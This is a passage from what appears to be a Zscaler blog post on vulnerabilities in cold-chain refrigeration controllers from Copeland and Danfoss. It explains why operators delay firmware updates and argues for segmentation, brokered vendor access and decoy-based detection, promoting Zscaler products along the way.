reaches the market at worst.Both vendors did what vendors should: took the report, shipped fixes, told customers. The more interesting problem sits with the operator, because the position the disclosure puts them in looks the same whatever logo is on the controller. Why the fix sits unappliedIn most manufacturing, a bad maintenance window costs throughput. You lose a shift, you catch up. In food and beverage, pharmaceuticals, and temperature-controlled consumer goods, a bad window can cost the product itself. A refrigeration excursion - the industry's word for temperature drifting outside its allowed band - is a discarded batch, a quality deviation that has to be investigated and written up under the manufacturing quality rules (GMP) that food and pharma operate under, or a food-safety record that follows the product through the supply chain. We wrote about this asymmetry last year in Why Uptime Is the New Cybersecurity KPI in Manufacturing; cold chain is where it bites hardest.To be fair to the equipment, a firmware update on a supervisory controller is not the same as flashing a PLC mid-shift. Copeland even lets you update from the controller's own menu, provided the controller can reach Copeland's servers outbound - which is a very different thing from being reachable inbound by anyone. But the risk that schedules a maintenance window is the perceived risk, and no one likes to hear "usually straightforward" about the box holding a vaccine warehouse between 2 and 8 degrees Celsius. So the advisory gets read, the update gets queued for the next planned outage, and the next planned outage is months away.There is a quieter reason too, and anyone who has tried to find the owner of a refrigeration controller will recognize it. These units often belong to facilities, or to the refrigeration contractor under a service agreement - not to IT, and not to whoever owns OT security. The vendor's advisory email lands in an inbox that does not read CISA advisories, if it lands anywhere. Nobody in this chain is refusing to patch; the request just never reaches someone who could schedule it.And in the meantime the controller cannot simply be unplugged, because the same interface the attacker wants is the one the business depends on. The refrigeration OEM's technicians connect to diagnose and tune it. The operator's own maintenance team watches it from wherever they happen to be sitting. The researchers' guidance - keep the management interface off the internet, restrict it to trusted networks or a VPN - is sound, and it is where most standard advice stops. It also leaves the controller reachable by every device on the plant network and every account on the vendor's VPN. Is "patch now or stay exposed" really the choice?That is the choice operators are usually handed: a risky window now, or a known exposure until the next outage. Both options treat the vulnerability as the risk. The real risk is what can reach it.A serious flaw on a controller that nothing unnecessary can reach is a backlog item. The same flaw on a controller reachable from any laptop on the plant network, any compromised office workstation, or any account on the vendor's VPN is a different situation entirely, and the difference has nothing to do with the CVE list. Every step in the published attack chains, on both platforms, starts with network access to the management interface. Remove that access and the 23 CVEs are still there, but the path to them is not.That is the third option, and it is the one that rarely gets priced: shrink who and what can reach the controller until you can take the update on your schedule instead of the attacker's. It does not replace the firmware. It makes the firmware a planned event rather than an emergency, and it limits the damage when the next disclosure lands the week after your outage window closes. What "shrink reachability" looks like on a real plant floorThree attributes describe the target state:The controller can be reached only from specific, explicitly authorized endpoints and users - the monitoring server, the two engineers who own it, the OEM's support group - not from an entire network segment.When a third-party technician needs access, they get a session to that one device for the duration of the job, with no standing presence on the plant network before or after.None of it requires re-addressing the controller, installing anything on it, or rebooting it. If the security control means touching the device, you are back to the maintenance-window problem you were trying to avoid.That last attribute pays off twice - once for the operator, once for the vendor. For a pharma site, the device itself is not modified, so its qualified state is not disturbed; the network change still goes through change control, but that is a lighter lift than requalifying a controller after new firmware. And for the refrigeration OEM, brokered access is easier than a VPN, not harder - no client to install, no shared credentials to rotate, no waiting on the customer's IT to open a port. Vendors are how these controllers get installed and kept running. This should make their technicians' lives simpler, not treat them as the threat.That third property is also the one that has historically made segmentation policy fail in practice. Eaton's security team described exactly this in their write-up from earlier this month: written segmentation policy across more than two hundred manufacturing sites that could not be enforced, because enforcing it with VLANs and NAC meant touching legacy devices they could not afford to touch. Eaton is electrical manufacturing, not cold chain, so the transferable part is the constraint rather than the vertical - agentless legacy equipment that cannot be re-addressed or restarted is the norm on any plant floor, and enforcement has to work around it. Where Zscaler fitsThree capabilities map to this - two that close the paths above, and a third for the gap that closing paths cannot address.Zero Trust Device Segmentation isolates a controller like an XWEB Pro or AK-SM 800A from the rest of the plant network without agents, without re-addressing, and without changing the physical network - each device gets its own enforcement boundary, reachable only by the endpoints you authorize and the users you admit through policy. Lateral movement from a compromised laptop or workstation toward the controller stops at that boundary.Zero Trust for 3rd Party Access gives the OEM's technician a brokered, recorded session to that one controller for that one job, with no VPN and no network presence. When the session ends, so does the access. It also removes the most common reason these interfaces end up on the public internet in the first place - if the vendor's path is brokered, there is nothing to expose.Closed paths do not vet the traveler - a compromised monitoring host or a misused authorized account arrives with legitimate access.That is where Zscaler Deception fits: a decoy that looks like one more controller on the same plant network, which no legitimate system has any reason to touch, so the first wrong move is the alert. Two things make that more than a tripwire. Because nothing legitimate ever talks to the decoy, a hit arrives already interpreted - an authorized source doing something it should not - rather than one more line for an analyst to triage. And because the real controller already sits behind a policy-enforced boundary, the response can be as narrow as the alert - drop the monitoring host's path to the controller, end the account's session - without touching the controller itself. The decoy asks nothing of the real device - no agent, no load, no change - which is the same property that made the boundary workable in the first place. It is still detection: someone, or a policy, has to act on it.None of this replaces the firmware update, and no one should read it that way. Copeland's 1.13 and Danfoss's R4.3.1 still need to be applied. And none of it helps a controller nobody has pulled behind the boundary yet - the thousands of exposed interfaces are exposed because that step has not been taken, not because it is unavailable. What changes is when you have to apply the update and what happens to you in the meantime - a Tuesday you chose rather than a Saturday someone else did.With the boundary in place, the next advisory lands differently. You check what can reach the controller - one monitoring host, two engineers, a brokered vendor path - schedule the firmware for the next planned window, and go back to work. The picture to keep from the demonstration is a display that says everything is fine while the fans are off. The controllers that keep product in spec are the ones with the least tolerance for a bad patch day, and that is why they need the fewest things able to reach them.If you want to work through what this looks like for your own sites, our OT architecture workshop maps the controllers, the vendors who reach them, and the enforcement points you already have.